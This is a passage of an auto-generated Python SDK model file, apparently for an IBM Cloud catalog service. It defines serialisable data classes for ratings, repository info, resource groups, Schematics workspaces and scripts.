:attr int four_star_count: (optional) Four start rating.
"""
def __init__(self,
*,
one_star_count: int = None,
two_star_count: int = None,
three_star_count: int = None,
four_star_count: int = None) -> None:
"""
Initialize a Rating object.
:param int one_star_count: (optional) One start rating.
:param int two_star_count: (optional) Two start rating.
:param int three_star_count: (optional) Three start rating.
:param int four_star_count: (optional) Four start rating.
"""
self.one_star_count = one_star_count
self.two_star_count = two_star_count
self.three_star_count = three_star_count
self.four_star_count = four_star_count
@classmethod
def from_dict(cls, _dict: Dict) -> 'Rating':
"""Initialize a Rating object from a json dictionary."""
args = {}
if 'one_star_count' in _dict:
args['one_star_count'] = _dict.get('one_star_count')
if 'two_star_count' in _dict:
args['two_star_count'] = _dict.get('two_star_count')
if 'three_star_count' in _dict:
args['three_star_count'] = _dict.get('three_star_count')
if 'four_star_count' in _dict:
args['four_star_count'] = _dict.get('four_star_count')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a Rating object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'one_star_count') and self.one_star_count is not None:
_dict['one_star_count'] = self.one_star_count
if hasattr(self, 'two_star_count') and self.two_star_count is not None:
_dict['two_star_count'] = self.two_star_count
if hasattr(self, 'three_star_count') and self.three_star_count is not None:
_dict['three_star_count'] = self.three_star_count
if hasattr(self, 'four_star_count') and self.four_star_count is not None:
_dict['four_star_count'] = self.four_star_count
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this Rating object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'Rating') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'Rating') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class RepoInfo():
"""
Repository info for offerings.
:attr str token: (optional) Token for private repos.
:attr str type: (optional) Public or enterprise GitHub.
"""
def __init__(self,
*,
token: str = None,
type: str = None) -> None:
"""
Initialize a RepoInfo object.
:param str token: (optional) Token for private repos.
:param str type: (optional) Public or enterprise GitHub.
"""
self.token = token
self.type = type
@classmethod
def from_dict(cls, _dict: Dict) -> 'RepoInfo':
"""Initialize a RepoInfo object from a json dictionary."""
args = {}
if 'token' in _dict:
args['token'] = _dict.get('token')
if 'type' in _dict:
args['type'] = _dict.get('type')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a RepoInfo object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'token') and self.token is not None:
_dict['token'] = self.token
if hasattr(self, 'type') and self.type is not None:
_dict['type'] = self.type
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this RepoInfo object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'RepoInfo') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'RepoInfo') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class Resource():
"""
Resource requirements.
:attr str type: (optional) Type of requirement.
:attr object value: (optional) mem, disk, cores, and nodes can be parsed as an
int. targetVersion will be a semver range value.
"""
def __init__(self,
*,
type: str = None,
value: object = None) -> None:
"""
Initialize a Resource object.
:param str type: (optional) Type of requirement.
:param object value: (optional) mem, disk, cores, and nodes can be parsed
as an int. targetVersion will be a semver range value.
"""
self.type = type
self.value = value
@classmethod
def from_dict(cls, _dict: Dict) -> 'Resource':
"""Initialize a Resource object from a json dictionary."""
args = {}
if 'type' in _dict:
args['type'] = _dict.get('type')
if 'value' in _dict:
args['value'] = _dict.get('value')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a Resource object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'type') and self.type is not None:
_dict['type'] = self.type
if hasattr(self, 'value') and self.value is not None:
_dict['value'] = self.value
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this Resource object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'Resource') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'Resource') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class TypeEnum(str, Enum):
"""
Type of requirement.
"""
MEM = 'mem'
DISK = 'disk'
CORES = 'cores'
TARGETVERSION = 'targetVersion'
NODES = 'nodes'
class ResourceGroup():
"""
Resource group details.
:attr str id: (optional) Resource Group ID.
:attr str name: (optional) Provider name, eg. IBM Passport Advantage.
:attr str crn: (optional) Provider CRN.
:attr str account_id: (optional) Account ID for this Resource Group.
:attr str state: (optional) State of this Resource Group.
:attr bool default: (optional) Indicates if this Resource Group is active or
not.
"""
def __init__(self,
*,
id: str = None,
name: str = None,
crn: str = None,
account_id: str = None,
state: str = None,
default: bool = None) -> None:
"""
Initialize a ResourceGroup object.
:param str id: (optional) Resource Group ID.
:param str name: (optional) Provider name, eg. IBM Passport Advantage.
:param str crn: (optional) Provider CRN.
:param str account_id: (optional) Account ID for this Resource Group.
:param str state: (optional) State of this Resource Group.
:param bool default: (optional) Indicates if this Resource Group is active
or not.
"""
self.id = id
self.name = name
self.crn = crn
self.account_id = account_id
self.state = state
self.default = default
@classmethod
def from_dict(cls, _dict: Dict) -> 'ResourceGroup':
"""Initialize a ResourceGroup object from a json dictionary."""
args = {}
if 'id' in _dict:
args['id'] = _dict.get('id')
if 'name' in _dict:
args['name'] = _dict.get('name')
if 'crn' in _dict:
args['crn'] = _dict.get('crn')
if 'account_id' in _dict:
args['account_id'] = _dict.get('account_id')
if 'state' in _dict:
args['state'] = _dict.get('state')
if 'default' in _dict:
args['default'] = _dict.get('default')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a ResourceGroup object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'id') and self.id is not None:
_dict['id'] = self.id
if hasattr(self, 'name') and self.name is not None:
_dict['name'] = self.name
if hasattr(self, 'crn') and self.crn is not None:
_dict['crn'] = self.crn
if hasattr(self, 'account_id') and self.account_id is not None:
_dict['account_id'] = self.account_id
if hasattr(self, 'state') and self.state is not None:
_dict['state'] = self.state
if hasattr(self, 'default') and self.default is not None:
_dict['default'] = self.default
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this ResourceGroup object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'ResourceGroup') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'ResourceGroup') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class ResourceGroups():
"""
Resource groups details.
:attr int offset: (optional) The offset (origin 0) of the first resource in this
page of search results.
:attr int limit: (optional) The maximum number of resources returned in each
page of search results.
:attr int total_count: (optional) The overall total number of resources in the
search result set.
:attr int resource_count: (optional) The number of resources returned in this
page of search results.
:attr str first: (optional) A URL for retrieving the first page of search
results.
:attr str last: (optional) A URL for retrieving the last page of search results.
:attr str prev: (optional) A URL for retrieving the previous page of search
results.
:attr str next: (optional) A URL for retrieving the next page of search results.
:attr List[ResourceGroup] resources: (optional) Resulting Resource Group
objects.
"""
def __init__(self,
*,
offset: int = None,
limit: int = None,
total_count: int = None,
resource_count: int = None,
first: str = None,
last: str = None,
prev: str = None,
next: str = None,
resources: List['ResourceGroup'] = None) -> None:
"""
Initialize a ResourceGroups object.
:param int offset: (optional) The offset (origin 0) of the first resource
in this page of search results.
:param int limit: (optional) The maximum number of resources returned in
each page of search results.
:param int total_count: (optional) The overall total number of resources in
the search result set.
:param int resource_count: (optional) The number of resources returned in
this page of search results.
:param str first: (optional) A URL for retrieving the first page of search
results.
:param str last: (optional) A URL for retrieving the last page of search
results.
:param str prev: (optional) A URL for retrieving the previous page of
search results.
:param str next: (optional) A URL for retrieving the next page of search
results.
:param List[ResourceGroup] resources: (optional) Resulting Resource Group
objects.
"""
self.offset = offset
self.limit = limit
self.total_count = total_count
self.resource_count = resource_count
self.first = first
self.last = last
self.prev = prev
self.next = next
self.resources = resources
@classmethod
def from_dict(cls, _dict: Dict) -> 'ResourceGroups':
"""Initialize a ResourceGroups object from a json dictionary."""
args = {}
if 'offset' in _dict:
args['offset'] = _dict.get('offset')
if 'limit' in _dict:
args['limit'] = _dict.get('limit')
if 'total_count' in _dict:
args['total_count'] = _dict.get('total_count')
if 'resource_count' in _dict:
args['resource_count'] = _dict.get('resource_count')
if 'first' in _dict:
args['first'] = _dict.get('first')
if 'last' in _dict:
args['last'] = _dict.get('last')
if 'prev' in _dict:
args['prev'] = _dict.get('prev')
if 'next' in _dict:
args['next'] = _dict.get('next')
if 'resources' in _dict:
args['resources'] = [ResourceGroup.from_dict(x) for x in _dict.get('resources')]
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a ResourceGroups object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'offset') and self.offset is not None:
_dict['offset'] = self.offset
if hasattr(self, 'limit') and self.limit is not None:
_dict['limit'] = self.limit
if hasattr(self, 'total_count') and self.total_count is not None:
_dict['total_count'] = self.total_count
if hasattr(self, 'resource_count') and self.resource_count is not None:
_dict['resource_count'] = self.resource_count
if hasattr(self, 'first') and self.first is not None:
_dict['first'] = self.first
if hasattr(self, 'last') and self.last is not None:
_dict['last'] = self.last
if hasattr(self, 'prev') and self.prev is not None:
_dict['prev'] = self.prev
if hasattr(self, 'next') and self.next is not None:
_dict['next'] = self.next
if hasattr(self, 'resources') and self.resources is not None:
_dict['resources'] = [x.to_dict() for x in self.resources]
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this ResourceGroups object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'ResourceGroups') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'ResourceGroups') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class SchematicsWorkspace():
"""
Schematics workspace information.
:attr str id: (optional) Workspace ID.
:attr str name: (optional) Workspace name.
:attr List[str] type: (optional) Workspace types.
:attr str description: (optional) Workspace description.
:attr List[str] tags: (optional) Workspace tags.
:attr datetime created_at: (optional) Workspace creation date and time.
:attr str created_by: (optional) Email address of user that created the ID.
:attr str status: (optional) Workspace apply status.
:attr SchematicsWorkspaceWorkspaceStatus workspace_status: (optional) Workspace
frozen/locked status.
:attr str template_ref: (optional) Template reference.
:attr SchematicsWorkspaceTemplateRepo template_repo: (optional) Template
repository.
:attr List[object] template_data: (optional) Map of template data.
:attr SchematicsWorkspaceRuntimeData runtime_data: (optional) Data describing
runtime.
:attr object shared_data: (optional) Map of shared data.
:attr SchematicsWorkspaceCatalogRef catalog_ref: (optional) Catalog reference.
"""
def __init__(self,
*,
id: str = None,
name: str = None,
type: List[str] = None,
description: str = None,
tags: List[str] = None,
created_at: datetime = None,
created_by: str = None,
status: str = None,
workspace_status: 'SchematicsWorkspaceWorkspaceStatus' = None,
template_ref: str = None,
template_repo: 'SchematicsWorkspaceTemplateRepo' = None,
template_data: List[object] = None,
runtime_data: 'SchematicsWorkspaceRuntimeData' = None,
shared_data: object = None,
catalog_ref: 'SchematicsWorkspaceCatalogRef' = None) -> None:
"""
Initialize a SchematicsWorkspace object.
:param str id: (optional) Workspace ID.
:param str name: (optional) Workspace name.
:param List[str] type: (optional) Workspace types.
:param str description: (optional) Workspace description.
:param List[str] tags: (optional) Workspace tags.
:param datetime created_at: (optional) Workspace creation date and time.
:param str created_by: (optional) Email address of user that created the
ID.
:param str status: (optional) Workspace apply status.
:param SchematicsWorkspaceWorkspaceStatus workspace_status: (optional)
Workspace frozen/locked status.
:param str template_ref: (optional) Template reference.
:param SchematicsWorkspaceTemplateRepo template_repo: (optional) Template
repository.
:param List[object] template_data: (optional) Map of template data.
:param SchematicsWorkspaceRuntimeData runtime_data: (optional) Data
describing runtime.
:param object shared_data: (optional) Map of shared data.
:param SchematicsWorkspaceCatalogRef catalog_ref: (optional) Catalog
reference.
"""
self.id = id
self.name = name
self.type = type
self.description = description
self.tags = tags
self.created_at = created_at
self.created_by = created_by
self.status = status
self.workspace_status = workspace_status
self.template_ref = template_ref
self.template_repo = template_repo
self.template_data = template_data
self.runtime_data = runtime_data
self.shared_data = shared_data
self.catalog_ref = catalog_ref
@classmethod
def from_dict(cls, _dict: Dict) -> 'SchematicsWorkspace':
"""Initialize a SchematicsWorkspace object from a json dictionary."""
args = {}
if 'id' in _dict:
args['id'] = _dict.get('id')
if 'name' in _dict:
args['name'] = _dict.get('name')
if 'type' in _dict:
args['type'] = _dict.get('type')
if 'description' in _dict:
args['description'] = _dict.get('description')
if 'tags' in _dict:
args['tags'] = _dict.get('tags')
if 'created_at' in _dict:
args['created_at'] = string_to_datetime(_dict.get('created_at'))
if 'created_by' in _dict:
args['created_by'] = _dict.get('created_by')
if 'status' in _dict:
args['status'] = _dict.get('status')
if 'workspace_status' in _dict:
args['workspace_status'] = SchematicsWorkspaceWorkspaceStatus.from_dict(_dict.get('workspace_status'))
if 'template_ref' in _dict:
args['template_ref'] = _dict.get('template_ref')
if 'template_repo' in _dict:
args['template_repo'] = SchematicsWorkspaceTemplateRepo.from_dict(_dict.get('template_repo'))
if 'template_data' in _dict:
args['template_data'] = _dict.get('template_data')
if 'runtime_data' in _dict:
args['runtime_data'] = SchematicsWorkspaceRuntimeData.from_dict(_dict.get('runtime_data'))
if 'shared_data' in _dict:
args['shared_data'] = _dict.get('shared_data')
if 'catalog_ref' in _dict:
args['catalog_ref'] = SchematicsWorkspaceCatalogRef.from_dict(_dict.get('catalog_ref'))
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a SchematicsWorkspace object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'id') and self.id is not None:
_dict['id'] = self.id
if hasattr(self, 'name') and self.name is not None:
_dict['name'] = self.name
if hasattr(self, 'type') and self.type is not None:
_dict['type'] = self.type
if hasattr(self, 'description') and self.description is not None:
_dict['description'] = self.description
if hasattr(self, 'tags') and self.tags is not None:
_dict['tags'] = self.tags
if hasattr(self, 'created_at') and self.created_at is not None:
_dict['created_at'] = datetime_to_string(self.created_at)
if hasattr(self, 'created_by') and self.created_by is not None:
_dict['created_by'] = self.created_by
if hasattr(self, 'status') and self.status is not None:
_dict['status'] = self.status
if hasattr(self, 'workspace_status') and self.workspace_status is not None:
_dict['workspace_status'] = self.workspace_status.to_dict()
if hasattr(self, 'template_ref') and self.template_ref is not None:
_dict['template_ref'] = self.template_ref
if hasattr(self, 'template_repo') and self.template_repo is not None:
_dict['template_repo'] = self.template_repo.to_dict()
if hasattr(self, 'template_data') and self.template_data is not None:
_dict['template_data'] = self.template_data
if hasattr(self, 'runtime_data') and self.runtime_data is not None:
_dict['runtime_data'] = self.runtime_data.to_dict()
if hasattr(self, 'shared_data') and self.shared_data is not None:
_dict['shared_data'] = self.shared_data
if hasattr(self, 'catalog_ref') and self.catalog_ref is not None:
_dict['catalog_ref'] = self.catalog_ref.to_dict()
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this SchematicsWorkspace object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'SchematicsWorkspace') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'SchematicsWorkspace') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class SchematicsWorkspaceCatalogRef():
"""
Catalog reference.
:attr str item_id: (optional) Version locator ID.
:attr str item_name: (optional) The name of the offering that generated this
Blueprint.
:attr str item_url: (optional) Relative Dashboard URL for content that generated
this Blueprint.
"""
def __init__(self,
*,
item_id: str = None,
item_name: str = None,
item_url: str = None) -> None:
"""
Initialize a SchematicsWorkspaceCatalogRef object.
:param str item_id: (optional) Version locator ID.
:param str item_name: (optional) The name of the offering that generated
this Blueprint.
:param str item_url: (optional) Relative Dashboard URL for content that
generated this Blueprint.
"""
self.item_id = item_id
self.item_name = item_name
self.item_url = item_url
@classmethod
def from_dict(cls, _dict: Dict) -> 'SchematicsWorkspaceCatalogRef':
"""Initialize a SchematicsWorkspaceCatalogRef object from a json dictionary."""
args = {}
if 'item_id' in _dict:
args['item_id'] = _dict.get('item_id')
if 'item_name' in _dict:
args['item_name'] = _dict.get('item_name')
if 'item_url' in _dict:
args['item_url'] = _dict.get('item_url')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a SchematicsWorkspaceCatalogRef object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'item_id') and self.item_id is not None:
_dict['item_id'] = self.item_id
if hasattr(self, 'item_name') and self.item_name is not None:
_dict['item_name'] = self.item_name
if hasattr(self, 'item_url') and self.item_url is not None:
_dict['item_url'] = self.item_url
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this SchematicsWorkspaceCatalogRef object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'SchematicsWorkspaceCatalogRef') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'SchematicsWorkspaceCatalogRef') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class SchematicsWorkspaceRuntimeData():
"""
Data describing runtime.
:attr str id: (optional) Runtime ID.
:attr str engine_name: (optional) Engine name.
:attr str engine_version: (optional) Engine version.
:attr str state_store_url: (optional) URL path to state store.
:attr str log_store_url: (optional) URL path to log store.
"""
def __init__(self,
*,
id: str = None,
engine_name: str = None,
engine_version: str = None,
state_store_url: str = None,
log_store_url: str = None) -> None:
"""
Initialize a SchematicsWorkspaceRuntimeData object.
:param str id: (optional) Runtime ID.
:param str engine_name: (optional) Engine name.
:param str engine_version: (optional) Engine version.
:param str state_store_url: (optional) URL path to state store.
:param str log_store_url: (optional) URL path to log store.
"""
self.id = id
self.engine_name = engine_name
self.engine_version = engine_version
self.state_store_url = state_store_url
self.log_store_url = log_store_url
@classmethod
def from_dict(cls, _dict: Dict) -> 'SchematicsWorkspaceRuntimeData':
"""Initialize a SchematicsWorkspaceRuntimeData object from a json dictionary."""
args = {}
if 'id' in _dict:
args['id'] = _dict.get('id')
if 'engine_name' in _dict:
args['engine_name'] = _dict.get('engine_name')
if 'engine_version' in _dict:
args['engine_version'] = _dict.get('engine_version')
if 'state_store_url' in _dict:
args['state_store_url'] = _dict.get('state_store_url')
if 'log_store_url' in _dict:
args['log_store_url'] = _dict.get('log_store_url')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a SchematicsWorkspaceRuntimeData object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'id') and self.id is not None:
_dict['id'] = self.id
if hasattr(self, 'engine_name') and self.engine_name is not None:
_dict['engine_name'] = self.engine_name
if hasattr(self, 'engine_version') and self.engine_version is not None:
_dict['engine_version'] = self.engine_version
if hasattr(self, 'state_store_url') and self.state_store_url is not None:
_dict['state_store_url'] = self.state_store_url
if hasattr(self, 'log_store_url') and self.log_store_url is not None:
_dict['log_store_url'] = self.log_store_url
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this SchematicsWorkspaceRuntimeData object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'SchematicsWorkspaceRuntimeData') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'SchematicsWorkspaceRuntimeData') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class SchematicsWorkspaceSearchResult():
"""
Result of schematics workspace search.
:attr int offset: (optional) The offset (origin 0) of the first resource in this
page of search results.
:attr int limit: (optional) The maximum number of resources returned in each
page of search results.
:attr int total_count: (optional) The overall total number of resources in the
search result set.
:attr int resource_count: (optional) The number of resources returned in this
page of search results.
:attr str first: (optional) A URL for retrieving the first page of search
results.
:attr str last: (optional) A URL for retrieving the last page of search results.
:attr str prev: (optional) A URL for retrieving the previous page of search
results.
:attr str next: (optional) A URL for retrieving the next page of search results.
:attr List[SchematicsWorkspace] resources: (optional) Resulting objects.
"""
def __init__(self,
*,
offset: int = None,
limit: int = None,
total_count: int = None,
resource_count: int = None,
first: str = None,
last: str = None,
prev: str = None,
next: str = None,
resources: List['SchematicsWorkspace'] = None) -> None:
"""
Initialize a SchematicsWorkspaceSearchResult object.
:param int offset: (optional) The offset (origin 0) of the first resource
in this page of search results.
:param int limit: (optional) The maximum number of resources returned in
each page of search results.
:param int total_count: (optional) The overall total number of resources in
the search result set.
:param int resource_count: (optional) The number of resources returned in
this page of search results.
:param str first: (optional) A URL for retrieving the first page of search
results.
:param str last: (optional) A URL for retrieving the last page of search
results.
:param str prev: (optional) A URL for retrieving the previous page of
search results.
:param str next: (optional) A URL for retrieving the next page of search
results.
:param List[SchematicsWorkspace] resources: (optional) Resulting objects.
"""
self.offset = offset
self.limit = limit
self.total_count = total_count
self.resource_count = resource_count
self.first = first
self.last = last
self.prev = prev
self.next = next
self.resources = resources
@classmethod
def from_dict(cls, _dict: Dict) -> 'SchematicsWorkspaceSearchResult':
"""Initialize a SchematicsWorkspaceSearchResult object from a json dictionary."""
args = {}
if 'offset' in _dict:
args['offset'] = _dict.get('offset')
if 'limit' in _dict:
args['limit'] = _dict.get('limit')
if 'total_count' in _dict:
args['total_count'] = _dict.get('total_count')
if 'resource_count' in _dict:
args['resource_count'] = _dict.get('resource_count')
if 'first' in _dict:
args['first'] = _dict.get('first')
if 'last' in _dict:
args['last'] = _dict.get('last')
if 'prev' in _dict:
args['prev'] = _dict.get('prev')
if 'next' in _dict:
args['next'] = _dict.get('next')
if 'resources' in _dict:
args['resources'] = [SchematicsWorkspace.from_dict(x) for x in _dict.get('resources')]
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a SchematicsWorkspaceSearchResult object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'offset') and self.offset is not None:
_dict['offset'] = self.offset
if hasattr(self, 'limit') and self.limit is not None:
_dict['limit'] = self.limit
if hasattr(self, 'total_count') and self.total_count is not None:
_dict['total_count'] = self.total_count
if hasattr(self, 'resource_count') and self.resource_count is not None:
_dict['resource_count'] = self.resource_count
if hasattr(self, 'first') and self.first is not None:
_dict['first'] = self.first
if hasattr(self, 'last') and self.last is not None:
_dict['last'] = self.last
if hasattr(self, 'prev') and self.prev is not None:
_dict['prev'] = self.prev
if hasattr(self, 'next') and self.next is not None:
_dict['next'] = self.next
if hasattr(self, 'resources') and self.resources is not None:
_dict['resources'] = [x.to_dict() for x in self.resources]
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this SchematicsWorkspaceSearchResult object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'SchematicsWorkspaceSearchResult') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'SchematicsWorkspaceSearchResult') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class SchematicsWorkspaceTemplateRepo():
"""
Template repository.
:attr str repo_url: (optional) The fully qualified path of the tgz used in the
deploy.
:attr str chart_name: (optional) Name of chart.
:attr str script_name: (optional) Name of script.
:attr str uninstall_script_name: (optional) Name of uninstall script.
:attr str folder_name: (optional) Name of folder.
:attr str repo_sha_value: (optional) Digest of project.
"""
def __init__(self,
*,
repo_url: str = None,
chart_name: str = None,
script_name: str = None,
uninstall_script_name: str = None,
folder_name: str = None,
repo_sha_value: str = None) -> None:
"""
Initialize a SchematicsWorkspaceTemplateRepo object.
:param str repo_url: (optional) The fully qualified path of the tgz used in
the deploy.
:param str chart_name: (optional) Name of chart.
:param str script_name: (optional) Name of script.
:param str uninstall_script_name: (optional) Name of uninstall script.
:param str folder_name: (optional) Name of folder.
:param str repo_sha_value: (optional) Digest of project.
"""
self.repo_url = repo_url
self.chart_name = chart_name
self.script_name = script_name
self.uninstall_script_name = uninstall_script_name
self.folder_name = folder_name
self.repo_sha_value = repo_sha_value
@classmethod
def from_dict(cls, _dict: Dict) -> 'SchematicsWorkspaceTemplateRepo':
"""Initialize a SchematicsWorkspaceTemplateRepo object from a json dictionary."""
args = {}
if 'repo_url' in _dict:
args['repo_url'] = _dict.get('repo_url')
if 'chart_name' in _dict:
args['chart_name'] = _dict.get('chart_name')
if 'script_name' in _dict:
args['script_name'] = _dict.get('script_name')
if 'uninstall_script_name' in _dict:
args['uninstall_script_name'] = _dict.get('uninstall_script_name')
if 'folder_name' in _dict:
args['folder_name'] = _dict.get('folder_name')
if 'repo_sha_value' in _dict:
args['repo_sha_value'] = _dict.get('repo_sha_value')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a SchematicsWorkspaceTemplateRepo object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'repo_url') and self.repo_url is not None:
_dict['repo_url'] = self.repo_url
if hasattr(self, 'chart_name') and self.chart_name is not None:
_dict['chart_name'] = self.chart_name
if hasattr(self, 'script_name') and self.script_name is not None:
_dict['script_name'] = self.script_name
if hasattr(self, 'uninstall_script_name') and self.uninstall_script_name is not None:
_dict['uninstall_script_name'] = self.uninstall_script_name
if hasattr(self, 'folder_name') and self.folder_name is not None:
_dict['folder_name'] = self.folder_name
if hasattr(self, 'repo_sha_value') and self.repo_sha_value is not None:
_dict['repo_sha_value'] = self.repo_sha_value
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this SchematicsWorkspaceTemplateRepo object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'SchematicsWorkspaceTemplateRepo') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'SchematicsWorkspaceTemplateRepo') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class SchematicsWorkspaceWorkspaceStatus():
"""
Workspace frozen/locked status.
:attr bool frozen: (optional) Workspace frozen state.
:attr bool locked: (optional) Workspace locked state.
"""
def __init__(self,
*,
frozen: bool = None,
locked: bool = None) -> None:
"""
Initialize a SchematicsWorkspaceWorkspaceStatus object.
:param bool frozen: (optional) Workspace frozen state.
:param bool locked: (optional) Workspace locked state.
"""
self.frozen = frozen
self.locked = locked
@classmethod
def from_dict(cls, _dict: Dict) -> 'SchematicsWorkspaceWorkspaceStatus':
"""Initialize a SchematicsWorkspaceWorkspaceStatus object from a json dictionary."""
args = {}
if 'frozen' in _dict:
args['frozen'] = _dict.get('frozen')
if 'locked' in _dict:
args['locked'] = _dict.get('locked')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a SchematicsWorkspaceWorkspaceStatus object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'frozen') and self.frozen is not None:
_dict['frozen'] = self.frozen
if hasattr(self, 'locked') and self.locked is not None:
_dict['locked'] = self.locked
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this SchematicsWorkspaceWorkspaceStatus object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'SchematicsWorkspaceWorkspaceStatus') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'SchematicsWorkspaceWorkspaceStatus') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class Script():
"""
Script information.
:attr str instructions: (optional) Instruction on step and by whom (role) that
are needed to take place to prepare the target for installing this version.
:attr str script: (optional) Optional script that needs to be run post any
pre-condition script.
:attr str script_permission: (optional) Optional iam permissions that are
required on the target cluster to run this script.
:attr str delete_script: (optional) Optional script that if run will remove the
installed version.
:attr str scope: (optional) Optional value indicating if this script is scoped
to a namespace or the entire cluster.
"""
def __init__(self,
*,
instructions: str = None,
script: str = None,
script_permission: str = None,
delete_script: str = None,
scope: str = None) -> None:
"""
Initialize a Script object.
